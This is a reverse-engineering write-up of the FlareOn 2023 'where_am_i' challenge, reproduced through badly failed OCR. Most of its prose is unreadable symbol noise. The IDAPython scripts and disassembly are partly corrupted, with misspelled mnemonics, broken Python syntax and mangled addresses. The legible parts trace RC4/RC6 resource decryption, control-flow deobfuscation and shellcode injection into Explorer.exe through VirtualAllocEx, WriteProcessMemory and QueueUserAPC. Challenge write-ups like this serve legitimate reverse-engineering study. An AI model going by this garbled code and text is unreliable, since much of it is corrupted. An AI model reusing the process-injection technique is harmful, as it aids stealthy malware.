result = ek_read_resource(&resource_buffer, &resource_buffer_size);
if { resource_buffer )
1
if ( resource_buffer_size }
1
valuel = ek get pointer_to valuel(};
value2 = ek_get pointer_to_value2(};
ek_rc4 decrypt(resource_buffer, resource_buffer, resource_buffer_size, *valuel, *value2);
result = resource_buffer();
¥

17, RG4 “ 1. ¥ Y1/"+ % X OX6C44 L ! Mp¥x X _resourcgt ~ | ¥ » ™ x ({1 %
T ™Md xdu + « _shellcode 11sx " © + s nBere_am_i.exe * Xi~{*xoffsetrit + « _ 7 _

©oX o Ox448725: * x LU " . 1se s | x bredkpoint~ 1 ! ¥ sisL ¢ shellcodet ¢ -
®hellcode.bin _ % * 4 ¥ :+1 "  xshellcodet - ~. 1 | hufferm memory dump
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¥ Xs s{s X 1isq {4 x s { IDAPrat shellcode.bin * x:wsg 4 7 x ]

o |
T
Fo-oif

o
l}l.

II'II .II'I
| b
L0

mil
el

Hi

L]
I
]
i

]
]
LT

(|

@ " Control Flow Obfuscation * shellcodet
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‘b~ bxAd 1% « 1 1 basicblock It 10 ¥% xx 4st 4 st x ¢ sp 4 10 ]
¥ _ v ®*bpasicblocks « 1_ x x2%bor, add,suld * x4 04 1 _
bl e 5
loc_29CE:
push ecx
mow ecx, @01918157h
xor ecx, 1AE4287Ch
sub ecx, 16895FABh
add ecx, @C2B272A4h
add ecx, 88614BCDh
mow eax, [ecx+ebp]
pop ecx
push ecx
mov ecx, @ABCABC38h
jmp short loc_2483
Y
bl s =
loc_2A83:
sub ecx, BED16D1Alh
jmp loc_B18F
L

x el p o, - IDAPython1 | {1 ~.«X 441~ 182 obfuscdiont + ! | x 43

L o« X X% L lX . ~'|H\-|,,-LZV>|_V4XJ§_Vx¢5>2<,,:mpﬁisxl xi«x;,xi ¥ 1Xs 4 71s

a a

x A ‘=“.|”><xls>x|_\,,v¢ % ¢q 1sdl « « ¢ X i 4 s . R s sy A NI - XS{X "X

>

774X X DX g g ] F L T A X X o T XX« XX, X

> ~ o~

® . Tsspd 4, x X

v ~

where_am_i.exa _import tableff * x « « . ¥ 4 ¢ « % *sRhellcodgt _~ 1" { {57 ] * s

Al

L *11 1~ « _ 11~ IsBellcode.bin * X:«<$ 4 10 70 « C9sp X9 | T WIDAT = x x { | _ X
Y * 3 1 nads XD sy X s, x d ek 81w XTI 4

> > > ~

import idaapi
function_mapping = dict()

def imp_cb(ea, nam e, ord)
global function_mapping
function_mapping[ea] = name
True

nimps = idaapi.get_import_module_qty()
print  "Found %d import(s)..." % nimps

i xrange(0, nimps)
name = idaapi.get_import_module_name(i)
not name:
print "Failed to get import module name for #%d

print  "Walking - > %s" % name
idaapi.enum_import_names (i, imp_cb)

print  "All done..."
print (function_mapping)

FlareOn 2023
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L 1 x - IDA Prat x - x 4 . ereate_functions_mapping.py _ * * X X X % X 1

~ ~ o~

X X 4, Pythen. _© X .~ _ : «Qutput Windowt ~ * . x*1 _*{iwdere_am _i.exe * X « s
¥ I x s

>

execfile 5 2A0AAOAMAOT ACOET T Omi ADPET Ct DUz &
I'x & 1 sdéobfuscate_shellcode.py2 ~ 1 : 1. 38 117 xxlsss
¥ L

function_mapping ={4588048L: 'SetErrorMode' ,4686732L: 'GetSystemDefaultLangID'
4686736L: 'GetAtomNameA', 4588076L: 'Sleep' ,4686708L: 'OpenMutexA', 4588080L:
'ExitProcess' ,4686712L: 'CreateProcessA' ,4686716L: ‘'VirtualAllocEx' , 4686720L.:
‘WriteProcessMemory' , 4686724L: 'QueueUserAPC', 4686728L: ‘'ResumeThread' , 4588440L:
'‘GetModuleFileNameA' , 4686788L: ‘InitializeSecurityDescriptor' , 46 86792L.:
‘SetSecurityDescriptorDacl’ , 4588076L: 'Sleep’ , 4588080L: 'ExitProcess’ ,4588016L:
'‘CreateFileA" ,4588076L: 'Sleep' , 4588280L: ‘'WriteFile' ,4588352L: 'CloseHandle'
4588080L: ‘'ExitProcess’ , 4686760L: ‘'PathFileExistsA' , 4686704L: 'GetProcessHeap' |,
4588060L: 'HeapAlloc' , 4686704L: 'GetProcessHeap' , 4588056L: ‘'HeapFree' , 4588504L:
'FindResourceA' ,4588516L: 'SizeofResource' ,4588508L: 'LoadResource' , 4588512L:
'LockResource' , 4588092L: 'VirtualAlloc' }

def addr_to_string(address) :
"loc_{:04X }" .format(address)

function_comments ={

0x2BC7: "load resource"

0x26C1: "get base address" ,
0x380D: "get pointer to value 1" ,
0x620D: "get pointer to value 2" ,
0x19F0: "decryption of resource" ,
OXOE2F: "memset",

0x21AB: "get decoded string (1="Explorer.
0x4DDE: "expand key" ,

0x29C5: "RC6 decrypt"

}

def parse_function(address)

code =
functions_called = set()
print ("Processing function " + addr_to_string(address))

addresses_to_parse = [ address
addresses_parsed =
addresses _to_parse:

address = addresses_to_parse.pop()
code.append (addr_to_string(address) + ")

True:
address in addresses_parsed:

addresses_parsed.append (address)

addr_string = addr_to_string(address)
instruction = GetMnem(address)
instruction

FlareOn 2023
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address = GetOperandValue(address, 0)

instruction == "call"
call_address = GetOperandValue(address, 0)
call_address = 0x460000:
code.append (addr_string + ":"  + GetDisasm(address) +
function_mapping | call_address |)

functions_called.add (call_address)
call_address in function_comments:
code.append (addr_string + ""  + GetDisasm(address)
function_comments | call_address |)

code.append (addr_string + "." + GetDisasm(address))

instruction not in "mov", "xor" , "sub", "add", "pop", "push"
code.append (addr_string + "'  + GetDisasm(address))
instruction in [ "mov", "xor" , "sub", "add"|:

GetOpTypgaddress, 1) ! 5
code.append (addr_string + "." + GetDisasm(address))

instruction in ["z" , "jnz" , "jg" , "jge" , "jnb"
addresses_to_parse.append (GetOperandValue(address, 0))

n

instruction in ["retn" , "ret" |:

address = NextHead(address)

code, functions_called

def parse_functions_recursively(start_address, out_path)
functions_to_parse = | start_address
functions_parsed =

functions_to_parse:
address = functions_to_parse.pop()
functions_parsed.append (addre ss)

function_code, extra_functions = parse_function(address)
function_code:
open(out_path + addr_to_string(address) + ".asm" ,
"wt" ) .write  ("\ n".join(function_code))

call_addr extra_functions:
call_addr notin functions_to_parse and call_addr not in
functions_parsed:
functions_to_parse.append  (call_addr)

start_address =0

out_path = "C:\\temp\\where_am_i\\"
parse_functions_recursively (start_address, out_path)
print ("done" )

®hellcode.bin * xi1« 3 x - IDAPrat . {1 ~ s$9 | 4 ~ «

Swd ¥ ¥ i ysx st xflowre f oY 4 e o d 0 T, s8R X T H A AL T B4 40

1L, s 0 <8, x0T XSy F X s X s x DX qss x| ]

>

1608 ¢ XX L s X XTI L, 8 0 X0 q ¥ 5 s

v w ~
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L - X~ isesidd ¥ 9 14 breakpoint~ 1! ¥ d s ¢ ., x X xs =

a

loc 0000:
loc 0202:
loc 0&eF:
loc_0&74:
loc 0748:
loc 4DBéE:
loc 3FS8BE:
loc_416&6:
loc 29B6:
loc 415B:
loc 2€10:
loc_2736:
loc 5B9F:
loc 5C7B:
loc €46E:
loc_3B73:
loc 3B76:
loc 667A:
loc 6&7A:
loc_6&ADD:
loc 5478:
loc 2E3D:
loc 40CD:
loc_4864:
loc 26B6:
loc 1A10:
loc 663D:
loc_2894:
loc €4CB:
loc 69DF:
loc 6AO0D:
loc_&497:
loc 2E57:
loc 2ED4:
loc 646E:

Hip*
oL A
[[o]

a

loc_0OAT4:
loc z4cc:
loc 5CA6:
loc OO03E:
loc_1445:
loc 4240:
loc_6A59:
loc 1ASD:
loc_6538:
loc 4BCéE:
loc_3601:
loc OECA:
loc_2945:
loc 3792:
loc_6509:
loc €117:
loc_250C:
loc 1C50:
loc_55€5:
loc 4532:
loc_Z2BB6:

_resourcgt = | X < 4. X

X huffefrt « x s

Bhellcodet s " x
mov ebp, esp
mov [esp+4], esi
call dword ptr ds:4e0210h ; SetErrorMode
call sub 1534
mov [ebp-4]1, esi
mov [ebp-10h], eax
lea eax, [ebp+var_4]
lea ecx, [ebp-10hl
call sub_2BC7 ; load resource
cmp [ebp-10h], eax
jz loc_&46E
cmp [ebp+var 4], edx
jnz loc_6&7R
xor eax, eax
mov esp, ebp
retn
call sub_380D ; get pointer to value 1
mov [ebx+ebp] , eax
call sub 620D ; get pointer to wvalue 2
mov [edx+ebpl, eax
mov edx, [ebx+ebpl
mov eax, [edx]
mov ecx, [edx+ebpl
mov edx, [ecx]
mov eax, [ecx+ebpl
mov ecx, [edx+ebp]
mov edx, [ebx+ebpl
call sub_19F0 ; decryption of resource
mov eax, [esi+ebpl
mov ecx, [ebx+ebp]
call sub A74
xor eax, eax

J1s .8 A Ix

Teid xoffsetrt + 4~ v g 1 147~ ©x 1 x " bEffer 4 x

~r,  Sub_A74 4« T x5

s

® "KL

>

\s\\;’»()lf{"*LviSL S L

flow s i

>~

§EsI R s
¢ ~0x15160x o ! x ¥
" 1, +~dhellcode
RIS B NI

"\ pufferit 1

Y X5 dcalit: x! ¥« 1 Jsuh A746 1 « 0
call Sleep
call dword ptr ds OpenMutexA
call dword ptr ds:46l ExitProcess
call sub_E2F ; memset
call sub 21AB ; get dec string (l='Explorer.exe')
call dword ptr 47837 CreateProcesshA
call dword ptr j VirtualAllocEx
call dword ptr ; WriteProcessMemory
call dword ptr QueueUserAPC
call dword ptr ResumeThread
call dword ptr GetModuleFileNameA
call dword ptr InitializeSecurityDescriptor
call dword ptr SetSecurityDescripteorDacl
call dword ptr Sleep
call dword ptr ExitProcess
call dword ptr CreateFilen
call dword ptr Sleep
call dword ptr ; WriteFile
call dword ptr 10 CloseHandle
call dword ptr :4€0230h ; ExitProcess
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YooTsfs T Do L WIRAPI D X ] e s X,
CreateProcessA

VirtualAllocEx

QueueUserAPC

1
1
1 WriteProcessMemory
1
I ResumeThread

DO L T A T oSS v T HA D B 2AAB S 4 . W Sk 45l 4 x "X

~

Bxplorer.exg

X 4% « 1. Brgcmont x 7 1 4 QOExplorer.exel 1 L s s xxS4{ L 0 X X flux 7] X s
®Ls .~ 885 4112 xxshellcodet

A7k xe, T 7 "1, beffert - o0 41T R~ slb AT4S 4 T ¥ sy X ]
1t bufferm 4 *«x s. 1 _ .~ X WriteProcessMemory 1 « « $ x { . X®* .shellcode

¢ x . 1+ § ] X '0X31L _offset

127 248t « s L. Breakpoint-. 41 Y S| x]x o xoOse, x4 L o ]
1 «Ix 4e14%0%31. _offsetrr « 13 " | X buffe?m memory dump: *x _ OK6BDF: * x @ | X

®hellcode_explorer.bin ~ & * x Kpplorerexa ™ + + X s

m s « 1 ..« where_am_i.ex& breakpoint~ {1 ! %7 .~ sh” x F«s. 4 « « 5 x 1 sl ql |

I s ¥, s 4 00T X X X0 X x T xS, QheueUserApc

oL AR s s 4 oYX x5 $ s ,ResumeThread s ~ {1 -~ 1S Explorer.exe
@ - 1 Buffer

I sihsdy >t o 14 vis« I|OA Prat shellcode_explorer.bin <1 ¢ "rid ¢ 4 H7_ L
17 1 = WriteProcessMemonyg s «~ { ~. 15« hreakpoint~ 1 ! ¥ sii ]l .~ x Esplorer.exe
RésumeThreads « 1 ~ « s

x % 4 1 y,5x "1 1 Explorerexed 1 v saftach - x _ _ d bkeakpointt ~ « xJ 4 0 s s |

~ X €771 1 « MKiteProcessMemony s « 1 ~bufferir * © Is"f L < X x 1] breakpoint
x@s « 1~ 1 _where_am_ijexd 1L s - 1L

® | ¥ breakpointt ~ « Explorer.exd 1 v S 15 1 4 |

Control Flow Obfuscation * « x s ¥ ¢ { L IDA Prat shellcode_explorer.bin ~+ 1 1 x |

~

r@® x shellcoders & X1 x « X
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¥ U ox s s xX s L Tse sl 4 s w8 s ST ox oI Css x (AT

loc_0000:

loc 03CZ2: mov ebp, esp

loc _03%2: ecall sub_ 639

loc 0357: mov esi, eax

loc 001D: cmp [esi], ecx
loc_0273: jnz short loc_29%é
loc 028C: cmp [esi+B], ax
loc 02%0: jz loc 1F8
loc_0296: inc esi

loc 01F8:

loc_01F38: mov ebx, esi

loc 0ZDA: lea ecx, [esi+l0h]
loc O1DF: call sub_2FF
loc_05&3: mov edx, [esiteax]
loc 034D: mov edi, [esi+ebx]
loc O03EA: add esi, ecx

loc 044D: mov ecx, esi

loc 044F: call sub_ ZFF
loc_0457: add edi, esi
loc_050D: mov [ecx+ebpl, edi
loc 0511: eall [ebp+var 4]
loc_0517: mov esp, ebp

loc 0ZDF: retn

loc_029%6:

10V I Xl s x4 . o[ebptvar 4L s v S N 1 4.4 S

>

Boov vl X T SUD2FR C X« 4 aiaxSe T LA Y XIS o XX X L,

1~ %4 d_ Asligdb EOF 1 « « ¢ X {w + fdbp+var 4t s ~ 4 57 1.1 « skelicode

X XS pd x4 x I x { dhé&licodet ~ - 1 x "~ 1 ~memory dump: X _ L

o a ~ ~

®hellcode_explorer_decoded.bin

s X XXX oxs 0 ox %0 DA Prat shellcode_explorer_decoded.bjn* x <. 4 71 ¢ X ]
v« gub E9F 4 . < x4 Xpsaox X449k x 14 7, 1 « sl x " 1 ebfuscationt - -
VitualAllogt - + ~ % 475 1. 1 « LdadLibrary, GetProcAddress, VirtualAllog 4 « + 1 x {1 ¢ «
X x@ « . _SUb 188DF 4 « ~ T X n% | A xds s.. . xbUffert L v X x|
x 7t sHellcode_explorer2.bin * x 0X19000% . ! s ¥buffermt memory dump: * _
®x1291- * x ] X X isyb_188m S « 1 AV'S Lo~ €

~ v v

FYS DX s P& sT.dw <1 Sub_1000 1 shellcode_explorer2.bitt mairme - 4 1 « « 7 x|
pipe L ConnectNamedPipeCreateNamedPipe * X « 1 .~ « 7 71 @ vy & 6 {  « ™x
-4 S« q4 .« 7 where_am_iexe 14 s > 7 1L \\\pipdwhereamb, ¥ _ * "
*x < pathhs _ « ~ « 7 pipe¥ _ LReadFile

® ‘pathx {1 ~ Is""xgipert x % . xs"« .,where_am_i.ex& sub_A74

>

s {1 .« 1T x « ¢ 7 "where_am_i.exe

o

s« 1! fatghr s « . xIlusx xGetUserNamem s « 4w 4ss” x I s h1 T KT~ oL
@\bsersPublidgt where_am_i.exe _pathr - « x x {s{ " s
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Technoloai

= " . . x
¢ « OXBAADBEEF* 5 x ., DxBFCdffsetrit { ~» = « 19 G4l x o 3% L X4 X s
N ~ ~ ~ ~
WessageBag X
o >
B explorer.exe - PID: Thread: Main Thread 1E18 Elevated] - n| X
File g T Plug F 0 Apr 29 2019
SoE i Y%yt B efi# A0 EE
B cru @ craph |4Lleg [l Notes ® Breakpoints M MemoryMap [/ CallStack  S@SEH o Saipt %] symbols < Source J References 9 Threads ¢ Snowman B fiahd
[ D0BAL101 3AE1 01 [cmp _dl,byte ptr ds:[ecx+i] N
- 00841104| ~ 75 OF ELARE-ON 10: wh . w Hide FPu
! 00841106 83C0 02 - : where_am_i?
! e 00841109 83C1 02 EaX  Doaanooo
' o | 008a110C 84D2
: 008A110E| ~ 75 E4 ES; ???Cogg:g
! e 008A1110 33c0 Heard there's RCE somewhere, is that true?
i 008A1112| ~ EB 05 EBP  0087F73C
L 008A1114 1BCO ESP  0O0S7FGE4
00841116 83C8 01 ESL 76071330 <USer3z.MessageBoXA>
00841119 85C0 EDI 00992780 “C:\\where_am_i\\where_am_i.e
00841118| ~ 75 33 i
008A111D 63 BS2C8B00 8B2CB8: "C:\\Users\\Public EIP  OO0SAL14E
e 008A1122 s push &dt
o | 008A11 £3 48100000 2aln =azi7o stremp A CIETIRG
e | 008A11 83C4 08 add esp,a LR R
e | 008A1128 85C0 test eax,eax EE &S e
0084112D( - 74 21 je 8A1150
®| 008A112F Al E4628B00 mov eax,dword ptr ds:[8B62E4] CFo TFO IF1
» 00841134 8188 FCO30000 EFBEADE cmp dword ptr ds:[eax+3FC],BAADEEEF
O0BALIZE| =~ o jne 8a1150 Lasterror 00000000 (ERROR_SUCCESS)
o 008A1140 push 0 Laststatus CO000034 (STATUS_OBJECT_NAME_NOT_FOUN
008A1142 68 942C8800 push 882C94 8B2C94: "FLARE-ON 10: wher:
e| o08A1147 68 CC2C8800 push 8B2cCC 8B2CCC: "Heard there's RC6 | GS 0028 FS 0053
o | 008a114C push 0 ES D02B DS 002B
BAL14E FFD6& call esi €S 0023 S5 002B
008A1150 57 push edi
0O08A1151 FF15 14E08A00 E&1Y dword ptr ds:[<&localFreex]
ol bosaries oo ushile y |-STL01_000000000ANANNANANAN XA7r EmATY 0.0A0N0NAL
e 008411559 FF15 28E08A00 €all dword ptr ds: [<&ExitProcess»
e L B 1 , | Defauit (stcal) +|[5 2] unlacked
= [1: [esp] 00000000
esi=<user32.messageBoxA> (76071930) 2: [esp+4] 008B2CCC "Heard there's RCE somewhere
3: [esp+8] 008B2C94 "FLARE-ON 10: where_am_i?"
4: [esp+C]_ 00000000
O0BA114E 5: [esp+ld] 0D0O00DDOL
P 00000000
Woump1  @pump2  @hoump3  @oump4  @Wpumps @ wath1  -llocls ) Struct | 008B2CCC | "Heard thera's RCE somewhere, is that true?”
add) iC | 0D0BB2C94 | "FLARE-ON 10: where_am_i?"
ﬁ‘ ~ 0| 00000000
DoeAnIne 4| 00000001
ERE | 00000001
e C| 00000005
OB e 0| 00000103
BT VG 4| GEGBGFAA
BTG & | 00000000
0DBAD46C C | 00000000
O0BA047C 0| 00000000
4| 00000DDD
O08AD48C B|..0as, n.,¢D.Y = | ooooooo0 v
008A049C Mileyéwe 80%w]UA
00BAD4AC E[..0}%[0..%D...5. v < >
Command: | [Defatt =
| Running | Dump: 008ADFC - DOSAQSFF (0x00000004 bytes) Time Wasted Debugging: 0:07:15:16

K Y Iss

14 7.5 *R06 "

1L X o Xpsf p X X 39 X

¢

RC4 3

~m

X

Tovrdd 140

Is Tase X Y x| xs . x yBxitProcess s +

s % OXBAADBEHRFL 1 1+ { xbufferrt + 87 «XI” L X445 _ 4~
e o r Aol 0P 8L x s XX Y ] 4 JRC8

S

«sx¢_pufferrt

©OXBAADBEBF! 4 "7 + 9 « ¢ {1 :0%2801 * 1 ~<xx_s 1 « 5% Buffer

X I X3

~

X

”
RN

X
shelkodet L

R A

AV 3w oA

~ *xwhere_am_i.ex¢f = x _ % ¢ p@Ps.

‘Xs:JIsAs‘-|_},|_ss x

~

SO I S, | R

FlareOn 2023
www.DigitalWhisper.co.il

H e ~ XI5A° x { | ¥



aTechnologic

x *where_am_i.exd 1 L s, . *73X _ shelkcodet { * sub 19FC { . « ¢ xx X § x”

loc_19F0:
loc_3A55:
loc_3Al8:
loc_58F%9:
loc 59ZA:
loc_594B:
loc 59¢6F:
loc_1F11:
loc_313B:

mov
mov
mov
call
call
mov

jnz

loc_edle:
loc_6419:
loc 3142:
loc_3172:
loc 0808:
loc_5832:
loc_25A5:
loc_e458:
loc_05C8:
loc 05CD:
loc_370B:
loc &006:
loc_6409:
loc_6410:

mov
retn

mov
mov
call
mov
mov
mov
call
mov
mov
call
call

L

a

ebp, esp

[esp+l0h+var C], ecx
[esp+lin+var 10], ecx

dword ptr ds:

dword ptr ds:4c

[edi+ebp]l, eax
[ebp-4]1, ebx
short loc 3142

Exlorer.exat 1 _ _ %
2370h ; GetProcessHeap
0zZ1Ch ; HeapAlloc

esp, ebp
eax, [esi+ebpl
ecx, [eax+ebpl
sub_4DDE
edx, [edi+ebp]
eax, [ecx+ebp]
ecx, [esi+ebp]
loc 29C5
edx, [edi+ebp]

[esp+4], edi

dword ptr ds:
dword ptr ds:4c021ch ;

i1 % _sub_4DDBE 1 « «

; GetProcessHeap
HeapFree

T % 4 sk |« gk 19F0sY

X

”

¢ ¥4 girellcodet - «+ 1 17

N R IR x|

¥ © buffert © «: +« . _OXBAADBEEF. _ buffer

3% where_am_j.exe - PID: A54 - Thread: Main Thread 1190 - x32dbg [Elevated] - [} *
File View Debug Trace Plugins Favourites Options Help Apr 29 2019
COE =0 Y 9 taalle S P H AL EE
B cru 9 Graph | Log [ Motes ® Breakpoints 8 Memory Map [C) call Stack = SEH |t seript @] symbals <7 source - References il
B3 . ES8 A7FSFFFF call 1D4DDE ~ [ Hide FrU
. B3C4 08 add esp,&
. v EB 11 jmp 1D584D EAX  0076C508
. 3 B1F7 TOFGFODG xor edi,DEFOF670 EBX  DOLF1AES
¢|l 001D5842 B1EF 1E4E0BID sub edi,1D0OB4E1B Ecx  BAMDEEEFR
001D5848| v E9 32070000 jmp IDSFTF
[ e 0o1pssan 57 push edi EDX 00000000
o[ oo1D5 84E BF 51742504 mov edi,AZ57451 EBP  OO19FDFC
e| 001D58532 B1EF F344758D sub edi,3D7544F3 ESE  0D13FDFO
e| 001D5859 B1F7 FCOCBCEE xor edi,EEBCICFC ESI 00000000
¢ |l 001D585F B1EF 44A5C7ED sub edi,E0C7AS44 EDI  0O1F1CO5
¢ || 001D5 865 81C7 OEGEB1D2 add edi,D2B16EOE
¢ || 001D5 868 B1C7 5308C396 add edi, 96090853 EIP  001D5832
e |[ 001D5 ~ E9 23CDFFFF jmp 1DZ533
|| 001D5 B1F1 3994ECDC Xor ecx,DCEC9433
[ 001D5 81C1 154AA44D add ecx,4DA33A15 EELSGSF,F 200g2334
e[ 00105 B1C1 FFDASEAF add ecx,AFIEDAFF 20 @ Lk B
| 001D5 B1C1 G4AS1ACT add ecx,C71AAS64
e| ooipsasse| ~ EB 1D jmp 1D58AD CFo0 TFL1 IF1
#|( 001D5 390 BBOCZS mov ecx,dword ptr ds:[eax+ebp]
¢/ 001D5 832 58 pop eax LastError 0000D00EA (ERROR_MORE_DATA)
e|| 001D5 894 51 push ecx LastStatus 80000005 (STATUS_BUFFER_OVERF|
#|( 001D5 835 51 push ecx
& | 0D01D5 896 52 push edx T
¢|| 001D5 8397 BA FEGLOACC mov edx,CCOAGLFE v
of i e B , | Default (tdcal) v [s 1] urlocked
1: [esp] BAADBEEF
001D4DDE 2: [esp+4] DO7ECSO8
3: [esp+B] DO7EC508
4: [esp+C] DDL19FEZS
001D5832 ]
3 BAADBEEF
YWoump1 @pumpz  @WDump3  @pump4 U Dump s B watch 1 Ix=lLocals P ODLOFDF | DOTEC508 ~
00D13FDFE| 0076C508
ASCII ~
0D19FDFC | DOLIFEZE
gg gg gg gg gg gg gg gg gg gg gg gg 0D19FE0O|[OD1D6IES| return to OD1DEIE4 Trom 001D1IFO
on19Fe04 || ooeooooo
00 00|00 00 00 00|00 DO 00 00|00 0O -
on12Fens || ooeooooo
00 00|00 00 00 00|00 DO 00 00|00 0O
0019FE0C || co015160
00 00|00 00 00 00|00 DO 00 00|00 0O
0013FEL0 || BAADBEEF
00 00|00 00 00 00|00 0O 00 00|00 00
0019FEL4|| 46EF9AC2
00 00|00 00 0D 00|00 DO OO 00|00 0O ETaE it | o eaex)
00 00|00 00 00 00|00 DO 0O 00|00 0O 0
==t D=t =i ==ttt b= ¥ || oo19FELC || 0D4002FC | wher e_am_i . 00a003FC v
b3 < >
Command: | |Default ~
| Paused  |Dump: 0076C508 -> 0076C508 (0x00000001 bytes) |Time Wasted Debugging: 0:08:33:07

ny
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¥ L !Tx vuxx | ¢$: g 4 Jhuffertr | 1 dUb _29C5 4 . «.” % xS puffert © 1. 1« L

a

¥ where_am_i.exe - PID: DD4 - Thread: Main Thread 1E00 - x32dbg [Elevated] — O ®
File View Debug Trace Plugins Favourites Options Help Apr 29 2019
CoE S0l [t &w§ tuld=Eaffis 0B

B cru ? Graph | Log [ Motes ® Breakpoints 8 Memory Map [C) call Stack =R SEH |t seript %] symbals <7 source 4 peferences Uil

— e |[00100SED| ~ E9 BG0ADOOD jmp 1D1078 ~ |
o ooiboscz 81CE 39FF2BES add esi,ES2BFF39 Hide FPU
& 001DOSCS 8BOC2E mov ecx,dword ptr ds:[esi+ebp] EAX 00015160
o ooibosce SE pop esi o Gemas
e | ooiposcc 51 push ecx TR Gobnen
Ey—e E8 F3230000 call 1Dz3Cs
«| ooibosoz 83C4 0C add esp,C ED O EEERES,
——s|[0oiposDs | v E9 E7300000 jmp 1Dzec1 EEP  ODL3FDFC
e | oD1D0DSDA 81F0 62DCE253 XOr eax,53E2DCE2 ESE  O013FDEC
o ooiboseo S1F0 1ADODCEF XOr eax,BFDCDOLA ESI  0000DOOD
e oo1boses B1EE CAAFTEAC sub eax,ACTEAFCA EDI  022F1C05
001D05EC 81F0 D3ID492FC XOF eax,FCI20409
o oo1bosFz 81C0 91025874 add eax,F4580291 EIP  0D1DOSCD
e(|ooibosFs| ~ EB 18 jmp 1D0E1Z
e[ 0o1bosFA s5F pop edi -
s (| oo1b0sFE B3 push esi gELSC‘SF,F goog?#
s (| oo1D05FC BE F5E17B73 mov esi,apphelp.737B61Fs 737l S50 oE o bE D
00100601 S1F6 FSS0AT4E XOF &51,4BA7S0FS ;
|| o01D0GDT BICE 42BG3AA2 add esi,A23AB642 CF1 TF1 IF1
00100600 | ~ E9 40480000 jmp 1D4ES2
00100612 81F0 CLFDF478 xar eax,7S8F4FDC1 LastError OO0DOOEA (ERROR_MORE_DATA)
00100618 ~ EB 2€ jmp 1D0646 LastStatus 30000005 (STATUS_BUFFER_OVERF
e[ 0o1boE1A 57 push edi
0D1D061E BF 6687BZ16 mov edi,1EE28766 m
e 00 B 6C xor edi 1 F L
. - - , | efault (stdcal) ~ [5 [£]00 unlocked
1: [esp] O01E0Q000
001Dz3C 2: [esp+4] DDO15160
3: [esp+B] OOGFEBCS
4: [esp+C] DDGFEBCS
001D05CD =
3 001E0D00
Wowmp:  @Woumpz  Woump3  Poumps  @oumps @ watch1  Ix=llocak & M 0019FDF0 | 00015160 2
00L3FDF4 | DOGFEBCS
ASCII ” N
A4 C5|1B D7 27 OZ|ED D6 BD 76|97 BLl 29 26| IKEA.X'.108V.£)& :;E;igizgc" ggg;ggg
29 C5|15 CE 3B 47|DE BA 61 48|85 69 3C 7F|n09A.1;00%akK. 1< 0019FEDO [[001D69E4| return to 0DIDEIE4 from 001D1IFO
98 36(7E 4B 4A 01|B3 SE 66 97 9B OF FB OETaEEDS|looTEsTon]
- Tl E|Az e cn 0013FE0s || oo1En0OD
oa 0019FECC (| 00015160
44 EE 3A B4 F7 )62 10 A3 0013FE10 || BAADBEEF
‘;i Esig 24 €1 5A FC |81 ;.E—, E; ég J:; EEig Eg 24| +. .prAZiia. . AMON® OOLIFELS || 4GEFIACE
71 OD(2A L1 EA FC|E1 0F 01 C5|9D 02 A 2A|r..Brizua, . fwow || oo13Fe1s || oo1E000D b
> < >
Command: | |Default '
Paused |D.I|p: 001E0000 - 001E0000 {(0x00000001 bytes) ‘TIIIE ‘Wasted Debugging: 0:08:32:39

T osd " 44§ YA b 1 ~keyexpansion 14 v & T 4% pif] 6ITX Y s T s

159 4 xx.] buffert © o 4 ki 1., xss DEBAADBEEFxTs: | _ s . . 81 X x x
® " bufferit : ~1 " 4 liSUb 29C5 1 « « " X Xs | " "

X x @xA00 offsetit + 1« + ST " | pd X% T Mkl XS4 0 S x4 ]

skiellcode_explorer2.bin

FlareOn 2023
www.DigitalWhisper.co.il
ndo H e ~ XI5A° x { | ¥




2Technoloqgic

« S x|

¥ 4

N

T 1 lsud 29C5 { X A4S 4 Ll X

]

¥ where_am_i.exe - PID: DD4 - Thread: Main Thread 1E00 - x32dbg [Elevated] — O ®
File View Debug Trace Plugins Favourites Options Help  Apr 23 2019
coE i taw§ tul 2@k # a0 E Y
B cru 9 Graph | Log [ Motes ® Breakpoints 8 Memory Map [C) call Stack =R SEH |t seript %] symbals <7 source 4 peferences Uil
——®|[001D0SED| v E9 EGOADDOD jmp 1D1078 Py :
e |l o01D0sCZ B1CE 3IIFF2EES add esi,EB2EFF29 Hide FPU
& 001DOSCSE 8BOC2E mov ecx,dword ptr ds:[esi+ebp] EAX 00015160
#|[ oo1DOSCE SE pop esi EBX 022F1AES
# |l D01DOSCC 51 push ecx ECX 001E0000
Ey—e E8 F3230000 call 1Dz3Cs
«| onibosoz 83C4 0C add esp,C ED O EEERES,
———s| 001D0SDE | v E9 E7300000 jmp 1Dzec1 EEP  ODL3FDFC
e | 0D1D0DSDA 81F0 62DCE253 XOr eax,53E2DCE2 ESE  O013FDEC
|| 001DOSED B1F0 1ADODCEF Xor eax,BFDCDOLA ESI 00000000
¢ || 001DOSEE B1ES CAAFTEAC sub eax,ACTEAFCA EDI  022F1CO5
001D05EC B1F0 D3D492FC Xor eax,FC32D4D3
|| o01D0OSFZ 81C0O 910258F4 add eax,F4580291 EIP  001DOSCD
e| 001DOSFE( ~ EB 18 jmp 1D0612
e || 001DOSFA SF pop edi -
|| o01DOSFE 56 push esi ;ELSGSF,F goog?#
|| o01DOEFC BE F5617B73 mov esi,apphelp.737B61Fs 7378 G20 @ Lk B
00100601 B1FE FS50A74B Xor esi,4BA7SOFS !
|| 001D0GOT BICE 42BG3AA2 add esi,A23AB642 CF1 TF1 IF1
001D060D|  ~ E9 40480000 jmp 1D4E52
001D0612 81F0 CLFDF478 Xor eax,78F4FDC1 LastError O000000EA (ERROR_MORE_DATA)
001D0618| ~ EB 2C jmp 1D0646 Laststatus 80000005 (STATUS_BUFFER_OVERF|
001D061A 57 push edi
001D061B 8F G687BZ16 mov edi,lEE2E8766 .
. 8. 6C xor edi, 1 F
. - - - , | Default (stdcal) ~ [5 [£]00 unlocked
1: [esp] 001EODDO
001Dz3C 2: [esp+4] 00DODOZB0
3: [esp+B] OOGFEBCS
4: [esp+C] DDGFEBCS
001D05CD
3 00L1E0DDD
@oump: @lpump2  UMDpump3  @oumps  @Houmps @ watch1  x=llocals & ¥ 5015FDF0 | 00000280
00D13FDF4| DDGFEBCS
Hex ASCII " Il oo13FoEs | ooeFeEBCS
OD1EQDDO [4E 18 EO C2|38 04 32 EL|D4 DD 90 90 |DA Bl 4A S ErETane | e
0D1EQ0L0 (D6 5F 3A EB|6F S5F 9F DC|FD 25 37 3D |5B 43 11 ; e
001EQ020|FB 50 €8 CF|EE CC 98 B3|7F 1B AA 13|D0 61 AF iI. 3 oraeens HECERDRECRUDIDESE SRURSHEDD10 1980
